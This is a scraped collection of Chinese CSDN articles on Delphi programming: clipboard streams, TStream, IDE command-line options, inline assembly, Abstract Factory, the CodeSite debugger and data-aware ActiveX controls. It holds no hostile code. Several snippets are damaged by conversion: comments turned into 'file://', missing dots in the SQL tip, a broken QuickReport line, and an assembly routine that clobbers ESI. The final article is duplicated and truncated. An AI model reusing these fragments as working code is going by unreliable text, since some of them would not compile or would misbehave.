如何将一个流的内容写入到剪贴板中，并处理

这个技巧是参考Delphi的剪贴板类的实现来完成的。将一个流的内容放入剪贴板，
首先要注册你自已的格式，使用RegisterClipboardFormat()函数
然后做下面三步：
1.创建一个内容流，并将内容写进去
2.创建一个全局的内容区，并将流的内容写入
3.调用ClipBoard.SetAsHandle()将内容写入剪贴板

将内容写入剪贴板中
var
hbuf : THandle;
bufptr : Pointer;
mstream : TMemoryStream;
begin
mstream := TMemoryStream.Create;
try
{-- 处理流的代码 --}
hbuf := GlobalAlloc(GMEM_MOVEABLE, mstream.size);
try
bufptr := GlobalLock(hbuf);
try
Move(mstream.Memory^, bufptr^, mstream.size);
Clipboard.SetAsHandle(CF_MYFORMAT, hbuf);
finally
GlobalUnlock(hbuf);
end;
except
GlobalFree(hbuf);
raise;
end;
finally
mstream.Free;
end;
end;
请注意不要将分配的全局缓冲区释放，这个工作由剪贴板来完成，在读出数据中
你应该将它复制后处理。

将剪贴板内容读出来
var
hbuf : THandle;
bufptr : Pointer;
mstream : TMemoryStream;
begin
hbuf := Clipboard.GetAsHandle(CF_MYFORMAT);
if hbuf <> 0 then begin
bufptr := GlobalLock(hbuf);
if bufptr <> nil then begin
try
mstream := TMemoryStream.Create;
try
mstream.WriteBuffer(bufptr^, GlobalSize(hbuf));
mstream.Position := 0;
{-- 处理流的代码 --}
finally
mstream.Free;
end;
finally
GlobalUnlock(hbuf);
end;
end;
end;
end;

在Dephi中使用TStream读写数据的技巧

在Dephi中提供了一个抽象的数据类型TStream来支持对流式数据的操作。这些数据通常来自文件、数据库、内存对象、OLE对象等，TStream提供了统一、简洁的方法来进行数据的读写。在通常情况下，我们并不需要直接使用TStream类，对流式数据的读写封装在VCL控件的方法中。但是如果这些方法无法满足我们的要求，就需要自己手动控制数据的读写。

一、 TStream的常用的方法和属性：
---- 1. function Read(var Buffer; Count: Longint): Longint; virtual; abstract
---- 2. function Write(const Buffer; Count: Longint): Longint; virtual; abstract;

---- 3. function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract;

---- 4. property Position: Longint;

---- 5. property Size: Longint

---- Read，Write，Seek都是纯虚函数，提供了数据读写和定位的抽象的方法。Read方法将数据从Stream中读到Buffer缓冲区中，Write则实现相反的操作，返回值表示实际读写数据的大小。Seek提供了在Stream中移动数据指针的方法。参数Origin可以取soFromBeginning，soFromCurrent，soFromEnd 三个值，Offset是偏移量，返回值是当前Stream数据指针的位置。

---- Position表示了数据指针在Stream中的位置。这个属性是可读写的，它实际上就是通过调用Seek方法实现的，所以实际使用时使用这个属性更为方便一些。Size属性表示当前Stream的大小，对于不同的Stream，有些时候是只读的。

二、 Stream数据的读写。
---- 1. SaveToStream(Stream: TStream ); file://将类中的数据写到Stream的当前位置中
---- 2. LoadFromStream(Stream: TStream); file://从当前位置读入Stream里的数据

---- 实际使用时我们基本上只要使用上面两个函数就可以了。

三、 例子
---- TStream的继承树图如图1所示(略)，实际使用时比较常用的是TFileStream，TMemoryStream，TblobStream，就以这三种流举一例说明具体用法。
---- 创建一个窗体Form1，放置三个按钮btnRead，btnInvert，btnSave和一个文件打开对话框OpenDialog1以及数据控件DataSource1，Table1，test.

---- 使用Dephi提供的Database Desktop创建一个表test，表里有一个字段域Image，数据库文件名存为test.db。在窗体上放置一个TDatabase控件dbTest，一个TTable控件Table1,一个DataSource控件DataSource1,一个TDBNavigator控件DBNavigator1。将dbTest与刚才Desktop创建的数据库相连，Table1的TableName属性设为test.db，DataSource1的DataSet属性设为Table1，DBNavigator1的DataSource属性设为DataSource1，VisibleButtons属性前四个设为TRUE。此外，将dbtest的Connected设为TRUE，Table1的Active属性设为TRUE，使得数据库一开始就处于打开状态。

---- 事件代码编写如下：

---- 1. btnRead的Click事件，这里演示了TFileStream的用法。

var
MS: TFileStream;
begin
if OpenDialog1.Execute then
begin
MS:=TFileStream.Create
(OpenDialog1.FileName, fmOpenRead);
Image1.Picture.Bitmap.LoadFromStream(MS);
MS.Free;
end;
end;

---- 2. btnInvert的Click事件，这里演示了TMemoryStream的用法。其中使用了Invert函数，这是一个简单的将图象反色的函数（仅对真彩图象有效），它返回一个指向处理过的图象数据块的指针。
var
M
S: TMemoryStream;
pImage: pointer;
begin
MS:=TMemoryStream.create;
Image1.Picture.Bitmap.SaveToStream(MS);
MS.Position:=0;
pImage:=Invert(MS.Memory, MS.size);
file://Memory属性是指向实际内存块的指针
MS.Write(pImage^,MS.size);
MS.Position:=0;
file://上一行代码使指针移到了Stream末尾，所以要复位
Image1.Picture.Bitmap.LoadFromStream(MS);
FreeMem(pImage);
MS.Free;
end;

Invert函数如下：
function TForm1.Invert
(pImage: pointer; size: Integer): pointer;
var
pData, pMem: PChar;
i: Integer;
begin
pMem:=AllocMem(size);
CopyMemory(pMem,pImage,size);
pData:=pMem+54;
for i:=0 to size-54-1 do
begin
pData^:=Char(not integer(pData^));
pData:=pData+1;
end;
Result:=pMem;
end;

---- 1. btnSave的Click事件，这里演示了TMemoryStream的另一种用法，将Stream中的数据写到数据库中去。
var
MS: TMemoryStream;
begin
MS:=TMemoryStream.create;
Image1.Picture.Bitmap.SaveToStream(MS);
MS.Position:=0;
Table1.Append;
file://在数据库中添加一条记录
TBlobField(Table1.FieldbyName
('image')).LoadFromStream(MS);
Table1.Post;
file://将所作的更新写入数据库
end;

---- 4. DBNavigator1的Click事件，这里演示了TBlobStream的用法，使用了和写入时不同的方法来读出数据库的图象数据。
var
MS: TStream;
begin
with Table1 do
MS:=CreateBlobStream
(FieldbyName('image'),bmRead);
Image1.Picture.Bitmap.
LoadFromStream(MS);
MS.Free;
end;

全文完，感谢你阅读了这篇文章。本人缺乏可用分了，只好来挣点参与分好兑换。如感觉此文对你有帮助的朋友请投我一票，谢谢。

无情


CSDN_文档中心_Delphi命令行参数

Delphi命令行参数

彭建雄

转贴请与本从联系

关键字

Delphi、Command-Line、命令行参数

说明

本文是周末同MM吵架后，一气之作，英文太差请大家谅解

通过下面的介绍，你将清楚的了解怎样从命今建入Delphi的IDE环境，并了解其详细的参数

Delphi的命今行参数对大小不敏感，对于参数 -d /d -D /D在Delphi中取着同样的作用

Delphi的执行程序名为Delphi32.exe，以下你可能通过它来使用所有的参数

比如：Delphi32.exe /ns /hm（起动一个没有splash窗口，并监控内存的例子）

Delphi32.exe –sd c:\test\source -d c:\test\myprog.exe -td

(起动IDE环境并加载‘ c:\test\myprog.exe’进行调试同时 引

引用‘c:\test\source’目录的代码作为调试代码， -td以及其它的参数将作为c:\test\myprog.exe的程序的参数)

常用参数介绍

Option | Description
？ | 调用IDE命令行帮助
HM | 在工具条上显示内存使用情况
HV | 内存校验，在工具条上显示内存错误信息
NS | 不显示Splash窗口
NP | 打开一空的IDE环境，不加载任何工程

调试参数介绍

Option | Description
dexename | 加载用于调试的可执行文件名，任何处于dexename之后的参数将作为执行程序的参数，并被IDE视而不见。您必须D 与dexename之间插入一个空格
attach:%1;%2 | 应用调试关联，它可用在平常的调试，但更多用在即时调试中
Td |
sddirectories | 指定用于调试的原代码，须选的参数，同样你可以通过（Project|Options|Directories/Conditionals 属性）来设置
hhostname | 指定用于调试的主机，如果您在调试一个远程应用，它为必选参数

工程参数介绍

Option | Description
filename | 指定加载进入IDE的文件，可以为工程文件、工程组文件、也可以是单个文件
b | 自动创建，你必须大使用了filename的基预见上合用，
m | 与B类似，
ooutputfile | 指定错误的输出文件，你必须在应用了B、M的基上使用


CSDN_文档中心_delphi内部版本知多少?

1、如何得到bde的版本

thisversion:Sysversion;

dbigetsysversion(thisversion);

bde的版本为inttostr(thisversion.iversion)

2、得到quickreport的版本

uses qrprntr;

i:=pos('',cqrname);

if i>=0 then

quickreport版本为copy('cqrname,i,99);

如果各位发现更多，请补充！


CSDN_文档中心_Delphi嵌入式汇编一例

用delphi写的程序，把x指针指向的4个字节次序颠倒过来：
function toulong(x: pchar): longword;
begin
result := (longword(x^) shl 24) or
(longword((x + 1)^) shl 16) or
(longword((x + 2)^) shl 8) or
(longword((x + 3)^));
end;

以下是用delphi的嵌入式汇编写法：
function toulong(x: pchar): longword;
asm
mov esi,eax
mov ax,[esi]
xchg ah,al
shl eax,16
mov ax,[esi+2]
xchg ah,al
end;

说明：默认情况下，delphi使用“register”方式，若参数在3个已内，
将分别使用eax、edx和ecx，超过3个参数部分将使用堆栈。返回参数的
存放视长度而定，例如8位用al返回，16位用ax，32位用eax，64位用用两个
32位寄存器edx:eax，其中eax是低位。

效率：本例asm大约比delphi或c快50%。


CSDN_文档中心_Delphi设计模式-Abstract Factory

模式的描述可以参考[1]，下面举一个Delphi中的例子。

通常Delphi中的Form都是自动Create，也可以在Form中写代码来创建（通常是在主Form中）。下面以Abstract Factory来创建Form。

//unit AbstractF

TAbstractFactory = class
public
function CreateForm : TForm;virtual;abstract;
end;

//unit ConcreteFA

TConcreteFactoryA = class(TAbstractFactory)
public
function CreateForm : TForm; override;
end;

{ TConcreteFactoryB }

function TConcreteFactoryA.CreateForm: TForm;
begin
Result := TfrmFormA.Create(Application);
Result.ShowModal;
end;

//unit ConcreteFB

TConcreteFactoryB = class(TAbstractFactory)
public
function CreateForm : TForm; override;
end;

{ TConcreteFactoryB }

function TConcreteFactoryB.CreateForm: TForm;
begin
Result := TfrmFormB.Create(Application);
Result.ShowModal;
end;

//主Form

unit MainFrm;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, AbstractF;

type
TfrmMain = class(TForm)
btnConcreteA: TButton;
btnContreteB: TButton;
procedure btnConcreteAClick(Sender: TObject);
procedure btnContreteBClick(Sender: TObject);
private
{ Private declarations }
FAbstractFactory: TAbstractFactory;
public
{ Public declarations }
end;

var
frmMain: TfrmMain;

implementation

uses ConcreteFA, ConcreteFB;

{$R *.dfm}

procedure TfrmMain.btnConcreteAClick(Sender: TObject);
begin
FAbstractFactory:= TConcreteFactoryA.Create;
FAbstractFactory.CreateForm;
FAbstractFactory.Free;
end;

procedure TfrmMain.btnContreteBClick(Sender: TObject);
begin
FAbstractFactory:= TConcreteFactoryB.Create;
FAbstractFactory.CreateForm;
FAbstractFactory.Free;
end;

end.

[参考资料]

1.《设计模式-可复用面向对象软件的基础》


CSDN_文档中心_Delphi深度探索－CodeSite应用指南

Delphi深度探索－CodeSite应用指南

Delphi虽然为我们提供极其强大的调试功能，查找Bug仍然是一项艰巨的工作，通常我们写代码和调试代码的所消耗的时间是大致相同的，甚至有可能更多。为了减少无谓的时间和精力的浪费，有时我们还是需要专业调试工具的帮助来提高锁定Bug的效率。本文中我们将介绍著名的调试工具CodeSite Pro 2.0（它获得了2000年度Delphi Informant读者选择的最佳调试工具奖的第二名）。它的官方网址是www.raize.com。

CodeSite的主要功能是可以让开发者使用代码来发送运行时的详细信息到特殊的接收器，以便于进一步分析。更精确的说通过CodeSite实现的TCodeSite类，我们可以打包并发送运行时的信息给CodeSite Dispatcher（CodeSite的消息分发器），它可以路由这些消息到一个或多个接收器来察看。缺省的信息接收器是CodeSite Viewer（消息察看器）。

CodeSite的效率体现在它不同于简单的显示消息的对话框或设定断点来检查变量，它更类似于Delphi自带的事件日志功能（Event Log），当然毫无疑问它要比Event Log强大的多，它的消息是可持续的，也就是可以保存的，便于回溯分析。

在介绍CodeSite的具体使用前，我们先来看一下它的三个组成部分。

CodeSite 对象

正如前面提到的，从运行的应用程序中向外发送CodeSite消息是通过使用TCodeSite类（定义在CSIntf单元中）的一个实例来完成的，我们只要简单的调用TCodeSite类的方法就可以 把消息发送给CodeSite Dispatcher。比如，可以使用对象的SendMsg方法来发送一个简单的字符串消息。TCodeSite 对象实现了大量的方法来支持各种类型的信息发送而无须任何数据转换，比如对象的SendObject方法有两个参数：一个是消息字符串，一个是对对象实例的引用，这个方法会获取对象所有published的属性，然后把这些属性的信息打包进CodeSite的消息中。

CodeSite Dispatcher

大多数情况下，CodeSite Dispatcher会安静的运行在系统的托盘区。它的唯一功能是路由从各个TCodeSite对象发来的CodeSite的消息到它们的目的地。缺省时，CodeSite消息都会发给CodeSite Viewer。我们甚至不需要启动CodeSite Dispatcher，因为它会被TCodeSite等对象自动启动。

TCodeSite 类定义了一个DestinationDetails属性，它允许开发者设定发送的CodeSite消息是如何被CodeSite Dispatcher路由到不同目的地，比如日志文件。但通常没有必要修改这个属性。

CodeSite Viewer

虽然CodeSite 支持发送消息到不同的目标，但决大多数情况下CodeSite Viewer是主要的发送目标。即使是发送到其他目标，比如日志文件或另外一台机器，CodeSite Viewer仍然是察看分析消息的主要工具。

CodeSite Viewer由下面四个面板构成：消息列表，消息察看器，调用堆栈和Scratch面板。CodeSite Viewer的主要工作区是Message列表，它用来显示发送给Viewer的全部消息或是从日志文件中加载的消息。

消息察看器用来察看同消息关联的额外信息。比如如果当前的消息是由SendObject方法发送的话，消息察看器就会显示对象全部的publised属性当前值。

调用堆栈面板会根据csmEnterMethod消息显示一个堆栈视图。

Scratch面板则是用来显示非可持续的信息的。当我们想跟踪某些信息，但又不想在消息日志中记录它们的时候，比如当我们想察看象鼠标当前位置这类大量的并重复的消息时，Scratch面板是非常有用的。这时我们可以可以使用TCodeSite对象的WritePoint方法，并指定Line ID参数以便指定用来容纳鼠标信息的scratch面板行数。

下面就让我们用一个简单的例子来演示一下如何从程序中发送消息给CodeSite Viewer：

（1）创建一个新的项目，然后切换组件面板到CodeSite页面（CodeSite安装后会在系统中安装两个组件TCSGlobalObject和TCSObject）。选择TCSGlobalObject组件然后放到窗体上。TCSGlobalObject组件提供了设计时对全局TCodeSite对象的交互（全局TCodeSite是在CSInft单元中被初始化的）。

（2）添加一个按钮，然后在它的OnClick事件中写下如下代码：

//CodeSite就是全局的TCodeSite对象

CodeSite.SendMsg(‘CodeSite的第一条消息’);

（3）编译并运行这个简单的程序。运行后点击按钮，CodeSite Dispatcher和CodeSite Viewer将会运行。同时在CodeSite Viewer的消息列表中将会看到程序发出的消息（注意：我们没有必要在程序运行前启动CodeSite Dispatcher和CodeSite Viewer，因为TCodeSite 对象在需要发送消息的时候会自动启动它们的）。运行结果如下图4.38所示：

图4.38

（4）接下来，停止程序，在OnClick事件处理过程中添加下面代码：

CodeSite.SendObject('Form1', Form1 );

（5）重新编译运行程序，再点按钮一次，这回你会在CodeSite Viewer中看到两条消息。其中Form1对应的消息包括Form1的对象信息。

（6）为了看到Form1的相关联的对象信息，选择CodeSite Viewer的菜单命令View|Inspector会在消息列表右侧显示一个新的面板，Form1的published属性都被显示在其中，如下图4.39所示：

图4.39

（7）再次停止程序，然后修改OnClick过程中代码如下：

CodeSite.EnterMethod('Button1Click');

CodeSite.SendMsg('CodeSite的第一条消息');

CodeSite.SendObject('Form1', Form1 );

CodeSite.ExitMethod('Button1Click' );

（8）这次我们再运行程序点击按钮后，就会看到“CodeSite的第一条消息”和“Form1”的消息被缩进在“Button1Click”消息之间，如下图4.40所示：

图4.40

通过添加EnterMethod和ExitMethod方法的调用，我们可以生成一个日志来记录方法何时被调用。

看过例子之后，我们就会发现CodeSite的功能是非常强大的，我们只要简单的在程序中添加几条语句就可以生成非常详细的信息，并通过CodeSite Viewer以生动的图表表现出来。接下来，我们再来谈谈CodeSite的高级应用技术。

发送消息到日志文件

每个程序或多或少都会有Bug，不在这时发生，也会在那时发生，短时间内不发生，很长时间就可能发作，有时反复出现，有时非常偶然的才能被发现。如果一个人告诉你他写的程序在任何时候都没有任何问题，他一定是在撒谎。正是由于Bug的偶然性和隐蔽性，就使得我们往往很难重复用户提交的Bug，这就给我们调试程序并找到问题的原因产生了极大的障碍，而CodeSite能够发送消息到日志文件的特性就使得用户报告Bug变得更容易，他们只要把运行时生成的信息文件提交就可以了。相应的我们调试程序的工作也会变得更轻松，我们可以使用CodeSite Viewer来直观的分析错误发生的原因和位置。

要想改变消息发送的目标，我们可以通过设定TCodeSite 对象的DestinationDetails属性来实现。这项功能要求客户的机器上必须安装了CodeSite Dispatcher，它属于CodeSite中可自由分发的部分。下面的要讲具体过程仍然是基于前面讲过的例子：

（1）在窗体的OnCreate事件中添加下面代码：

CodeSite.DestinationDetails := 'File[Path=C:\FirstLog.csl]';

（2）编译并余兴程序，这回我们在点击按钮后，消息就不再被发送给CodeSite Viewer而是发送到Ｃ盘的FirstLog.csl文件中。

（3）使用CodeSite Viewer加载FirstLog.csl文件，这回我们就象先前一样察看被保存的CodeSite消息了。

（4）如果我们想把消息同时发送到CodeSite Viewer和日志文件的话，只修改前面的代码为:

CodeSite.DestinationDetails := 'Viewer,File[Path=C:\FirstLog.csl]';

发送用户定制的数据

虽然TCodeSite 类提供了大量的处理不同数据类型的方法，但有时我们可能会需要发送某种自定义格式的数据信息。为此，TCodeSite 类定义了SendCustomData 方法，它支持发送任意的数据类型，并会根据一个自定义的格式器来格式化数据以便CodeSite Viewer可以正确的显示数据。

首先我们需要创建一个TCSFormatter 对象的子类，然后重载对象的FormatData，InspectorType和TypeName方法。然后调用CodeSite对象管理器对象CSObjectManager的来注册新的TCSFormatter子类。此外，我们还需要调用RegisterCustomFormat方法来注册一个新的消息类型。

下面是一个实际应用的例子，单元CSEmployee.pas中实现了一个TCSEmployeeRecord记录类型的定制格式器：

unit CSEmployee;

interface

uses

Windows, Graphics, CSIntf;

const

csmEmployeeSummary = csmUser + 1;

csmEmployeeDetails = csmUser + 2;

首先在Uses部分添加对CSIntf 单元的引用。第二步是为每一个格式器定义新的CodeSite消息类型常数，上面我们定义了两个常数，注意常数应该大于csmUser，但不能大过32,000。

type

TCSEmployee = record

LastName: string;

FirstName: string;

Address: string;

City: string;

State: string;

ZipCode: string;

PhoneNumber: string;

HireDate: TDateTime;

Salary: Currency;

VacationDays: Integer;

SickDays: Integer;

Manager: Boolean;

end;

上面的记录就是我们要发送的自定义的数据类型。

TCSEmployeeSummaryFormatter = class( TCSFormatter )

public

function InspectorType: TCSInspectorType; override;

procedure FormatData( var Data ); override;

function TypeName: string; override;

end;

TCSEmployeeDetailsFormatter = class( TCSFormatter )

public

function InspectorType: TCSInspectorType; override;

procedure FormatData( var Data ); override;

function TypeName: string; override;

end;

上面是两个定制的格式器类的定义。第一个格式器将把TCSEmployee 记录格式化为一个文本格式，第二个格式化器将把TCSEmployee 记录格式化为网格样式。

implementation

uses

SysUtils;

{=========================================}

{== TCSEmployeeSummaryFormatter Methods ==}

{=========================================}

function TCSEmployeeSummaryFormatter.InspectorType: TCSInspectorType;

begin

Result := itStockStringList;

end;

实现一个自定义的格式化器的第一步是确定哪种类型的内置察看器将被用来察看格式化后的数据，这里使用的是字符串列表察看器。察看器类型将被FormatData方法所使用。

procedure TCSEmployeeSummaryFormatter.FormatData( var Data );

var

EmpRec: TCSEmployee;

begin

EmpRec := TCSEmployee( Data );

AddLine( EmpRec.FirstName + ' ' + EmpRec.LastName );

AddLine( EmpRec.Address );

AddLine( EmpRec.City + ', ' + EmpRec.State + ' ' + EmpRec.ZipCode );

AddLine( '' );

AddLine( 'Phone: ' + EmpRec.PhoneNumber );

AddLine( 'Hire Date: ' + DateToStr( EmpRec.HireDate ) );

AddLine( 'Salary: ' + Format( '%m', [ EmpRec.Salary ] ) );

AddLine( '' );

AddLine( 'Vacation Days: ' + IntToStr( EmpRec.VacationDays ) );

AddLine( 'Sick Days: ' + IntToStr( EmpRec.SickDays ) );

if EmpRec.Manager then

AddLine( 'Manager: Yes' )

else

AddLine( 'Manager: No' );

end;

FormatData 方法是核心部分，注意传递给FormatData方法的Data参数是一个无类型的可变参数。这就意味着这个参数可以是任何数据类型的，通过格式注册过程，我们可以确保强制类型映射为自定义的数据记录，而不会发生转换错误。

转换数据类型后，我们就可以对数据进行格式化了，这里使用TCSFormatter 基类的 AddLine方法在字符串间添加分割线来进行格式化。

function TCSEmployeeSummaryFormatter.TypeName: string;

begin

Result := 'TCSEmployee';

end;

TypeName方法的重载是可任选的，但通常我们可以用它来返回显示在消息列表中的字符串。

{=========================================}

{== TCSEmployeeDetailsFormatter Methods ==}

{=========================================}

function TCSEmployeeDetailsFormatter.InspectorType: TCSInspectorType;

begin

Result := itStockGrid;

end;

对于employeedetails格式器来说，命名网格察看器将被用来察看数据信息：

procedure TCSEmployeeDetailsFormatter.FormatData( var Data );

var

EmpRec: TCSEmployee;

begin

EmpRec := TCSEmployee( Data );

AddNameValuePair( 'LastName', EmpRec.LastName );

AddNameValuePair( 'FirstName', EmpRec.FirstName );

AddNameValuePair( 'Address', EmpRec.Address );

AddNameValuePair( 'City', EmpRec.City );

AddNameValuePair( 'State', EmpRec.State );

AddNameValuePair( 'ZipCode', EmpRec.ZipCode );

AddNameValuePair( 'PhoneNumber', EmpRec.PhoneNumber );

AddNameValuePair( 'HireDate', EmpRec.HireDate );

AddNameValuePair( 'Salary', Format( '%m', [ EmpRec.Salary ] ) );

AddNameValuePair( 'VacationDays', EmpRec.VacationDays );

AddNameValuePair( 'SickDays', EmpRec.SickDays );

AddNameValuePair( 'Manager', EmpRec.Manager );

end;

这里为了在网格察看器中格式化数据，我们使用AddNameValuePair方法来实现。

function TCSEmployeeDetailsFormatter.TypeName: string;

begin

Result := 'TCSEmployee';

end;

下面两个过程是用来封装对SendCustomData方法的调用的，这里对全局的TCodeSite对象实例CodeSite进行了调用：

{=====================}

{== Support Methods ==}

{=====================}

procedure CSSendEmployeeSummary( const Msg: string; EmpRec: TCSEmployee );

begin

CodeSite.SendCustomData( csmEmployeeSummary, Msg, EmpRec );

end;

procedure CSSendEmployeeDetails( const Msg: string; EmpRec: TCSEmployee );

begin

CodeSite.SendCustomData( csmEmployeeDetails, Msg, EmpRec );

end;

最后，不要忘了调用CSObjectManager.RegisterCustomFormatter方法把格式器注册到CodeSite对象管理器中。

initialization

CSObjectManager.RegisterCustomFormatter( csmEmployeeSummary,

TCSEmployeeSummaryFormatter );

CSObjectManager.RegisterCustomFormatter( csmEmployeeDetails,

TCSEmployeeDetailsFormatter );

end.

除了上面谈到的特性外CodeSite还支持远程调试，也就是可以把消息路由到一台远程机器上的日志文件或Code Viewer上。由于通常时候我们很少会用到这一特性，这里就不进行详细的讨论了。


CSDN_文档中心_Delphi深度探索-数据库明了的ActiveX控件

Delphi深度探索-数据库明了的ActiveX控件

强大的数据库开发功能无疑是Delphi王冠上的明珠，至少有80%以上的人每天使用Delphi来开发数据库程序。基于积木式的VCL数据库控件，以及Dev Express和Woll2Woll等公司提供的强大的第三方数据库明了控件，毫不夸张的说只需要简单的设置一下属性，拖拉几下鼠标我们就可以非常快速的完成数据库程序的开发。由于Delphi的数据库功能过于强大了，所以很多人就忽视了一个事实，就是ActiveX同样可以提供灵活的数据库绑定，遗憾的是Delphi本身所提供的几个第三方的ActiveX控件中没有一个是数据库明了的控件，这间接导致了一个误解，使得很多人误以为Delphi并不支持数据明了的ActiveX控件（也包括很久以前的我J）。这当然是错误的看法。

在Delphi中使用数据明了的ActiveX控件

在下面的例子中，我们将使用随Office 2000安装到系统中的Microsoft Calendar 9.0控件来进行演示，它就是一个数据明了控件。选择Component | Import ActiveX Control，选择Microsoft Calendar 9.0(见下图1.12)，把类名从TCalendar改成TAXCalendar，以避免同系统中原有的同名控件冲突，然后点Install按钮安装此控件。

图1.12

新建一个程序，在窗体上放置一个TAXCalendar控件。再放上一个DataSource 和Table控件。设定DataSource的Dataset为Table1，然后设定Table1的DataBaseName 属性为DBDEMOS，TableName 属性为EMPLOYEE.DB，最后设定Table1.Active属性为True。

接下来就该进行数据库绑定了，注意一下引入的TAXCalendar具有DataSource和DataBindings这两个同一般ActiveX控件不同的属性，这是因为ActiveX Import Wizard在引入ActiveX控件先判断是否是数据库明了的控件，如果是就以TDBOleControl作为基类进行继承，如果不是就从TOleControl开始继承。而TDBOleControl实现了DataBindings和DataSource属性。设定AXCalendar1.DataSource属性为Datasource1。

这时我们在窗体上用鼠标右键单击TAXCalendar控件的话，会发现在右键菜单中多出了一个DataBindings…菜单项（见下图1.13）。

图1.13

点击菜单项后，会显示数据绑定属性编辑框（见下图1.14）。分别在FieldName列表框中选定HireDate，在Property Name列表框中选择Value(12)（其中12是Value的Dispid号），点击Bind按钮，就会在数据库字段和Value属性间建立数据关联。

图1.14

最后，再在窗体上放置一个DBGrid和DBNavigator控件，并设定它们的DataSource为DataSource1。运行程序，移动当前数据位置的时候，你可以注意到ActiveX的日期显示也会随之变化，同数据库中的Hiredate保持一致。如图1.15所示：

图1.15

创建数据明了的ActiveX控件

虽然我们已经清楚了Delphi的确可以使用数据明了的ActiveX控件，那么一个新的问题就产生了，Delphi本身可不可以创建数据明了的ActiveX控件呢？由于Delphi提供了一步到位的ActiveX控件转换生成，就有很多人希望能够把Delphi中强大的数据库控件转换为ActiveX控件，以便能在其他支持ActiveX的开发环境开发数据库程序时仍然能够享受到象在Delphi中一样的轻松愉快的感觉。但是我在前面第一部分中已经提到了，由于Delphi的数据明了控件同ActiveX数据库控件的在内部机制上差距过大，因此Delphi无法简单的直接转换其强大的数据库控件。那么是不是就意味我们就没有办法了呢？of course not! 其实使用类型库编辑器，我们可以异常轻松的实现数据明了的ActiveX控件，就让我们用TEdit控件来试验一下，看看如何去做。

选菜单命令New | ActiveX | ActiveX Control启动ActiveX Control Convert Wizard，选TEdit控件作为转化对象，生成EditX　ActiveX框架。

接下来，我们将改造TEdit的Text属性，使其支持数据绑定。选 View | Type Library来察看Delphi生成的类型库，并选中Text属性，然后切换到Flags属性页（见下图1.16）。

图1.16

注意在Flags属性页有很多多选框，对于我们来说，只关心同数据绑定相关的选项。它们是Bindable，Display Bindable，Default Bindable，Immediate Bindable和Request Edit选项。

标记一个属性为bindable后，并将其同数据库字段绑定后，当用户修改了属性后，控件就会通知数据库值已经变化，并请求数据库记录更新状况，数据库反过来也会通知记录更新是否成功。

Bindable选项表明属性支持数据绑定，如果把属性标记为bindable，属性将在其值变化时通知其容器。

Request Edit表明属性支持OnRequestEdit 通知消息，这允许控件询问容器属性值是否允许用户修改。

Display Bindable表示容器可以向用户显示这个属性是可绑定的。

Default Bindable表示它是唯一的，缺省的可绑定属性，使用它必须同时标记了Bindable属性。

Immediate Bindable当被标记时，所有的改变都会被通知，同时还需要设定bindable和Request Edit标记。

下面我们就标记EditX控件的Text属性为Bindable，Display Bindable，Default Bindable，和Request Edit。然后点Refresh按钮刷新类型库，最后选Run | Register ActiveX Server注册ActiveX控件。

再引入新的EditX ActiveX控件，就会发现它确实实现了数据绑定的功能，下面就是一个使用了数据明了的EditX的程序的运行示意图1.17，(Delphi的ActiveX数据明了功能的实现的确简单很COOL，不是吗？。

图1.17


CSDN_文档中心_Delphi实用编程经验二

Delphi是全新的可视化编程环境，为我们提供了一种方便、快捷的Windows应用程序开发工具。
下面是两则Delphi编程的实用经验，希望能与大家共享：
1使用超文本链接标示语言（HTML）。使用Windows中的打开方式（如IE等）访问HTML文件，受系统限制太大，不够灵活。Delphi提供了THTML控件，它能调用HTML文件，但在它的属性中却没有详细说明怎样调用本机的HTML文件。其实，只要使用正确的URL格式，是能够完成这一功能的，其格式如下：
file:∥&lt;host&gt;/&lt;path&gt;
举一个例子：如果有一个HTML文件路径为C:\Help\HomeHtm；那么其正确的URL格式应该为：file:∥C:\Help\Homehtm。因此，对于控件HTML1调用该HTML文件则应该为：HTML1RequestDoc(file:∥c:\Help\HomeHtm)。这样，就可以自己编写一个程序来调用HTML文件以形成独立的帮助文件系统。
2使用SQL实现字段数据的模糊查询。Delphi作为一个强大的数据库应用开发工具的一个重要标志，就是支持SQL编程。在实际的过程中，经常需要对某些字段进行模糊查询。如对“姓名”字段进行查询，当输入“王”时，能自动地将王姓的所有记录列出来。其实，通过结合SQL和Delphi的特点，就能很容易地完成这个功能。其基本原理是：查询时，将查询的范围控制在姓名大于‘查询字符串＋chr(0)’与小于‘查询字符串＋chr(＄ff)’之间，就能将满足条件的所有记录查询出来了。下面是具体的例子：
Var
NameStr:String;∥设置字符串中间变量
Begin
NameStr:=′王′；
Query1SQLClear{清除SQL属性中的SQL命令语句}
Query1SQLAdd(′Select＊FromCustomdbwhere(Name1&gt;=N1)and(Name2&lt;=N2)′);∥SQL命令语句
Query1params[0]AsString:=NameStr＋chr(0);∥控制参数在NameStr＋Chr(0)
Query1params[1]AsString:=NameStr＋chr(＄ff);∥和NameStr＋Chr(＄ff)之间
Query1Open;∥打开数据库，执行SQL查询
End; (陕西 杨波)


CSDN_文档中心_Delphi实用编程经验二则

Delphi是全新的可视化编程环境，为我们提供了一种方便、快捷的Windows应用程序开发工具。
下面是两则Delphi编程的实用经验，希望能与大家共享：
1使用超文本链接标示语言（HTML）。使用Windows中的打开方式（如IE等）访问HTML文件，受系统限制太大，不够灵活。Delphi提供了THTML控件，它能调用HTML文件，但在它的属性中却没有详细说明怎样调用本机的HTML文件。其实，只要使用正确的URL格式，是能够完成这一功能的，其格式如下：
file:∥&lt;host&gt;/&lt;path&gt;
举一个例子：如果有一个HTML文件路径为C:\Help\HomeHtm；那么其正确的URL格式应该为：file:∥C:\Help\Homehtm。因此，对于控件HTML1调用该HTML文件则应该为：HTML1RequestDoc(file:∥c:\Help\HomeHtm)。这样，就可以自己编写一个程序来调用HTML文件以形成独立的帮助文件系统。
2使用SQL实现字段数据的模糊查询。Delphi作为一个强大的数据库应用开发工具的一个重要标志，就是支持SQL编程。在实际的过程中，经常需要对某些字段进行模糊查询。如对“姓名”字段进行查询，当输入“王”时，能自动地将王姓的所有记录列出来。其实，通过结合SQL和Delphi的特点，就能很容易地完成这个功能。其基本原理是：查询时，将查询的范围控制在姓名大于‘查询字符串＋chr(0)’与小于‘查询字符串＋chr(＄ff)’之间，就能将满足条件的所有记录查询出来了。下面是具体的例子：
Var
NameStr:String;∥设置字符串中间变量
Begin
NameStr:=′王′；
Query1SQLClear{清除SQL属性中的SQL命令语句}
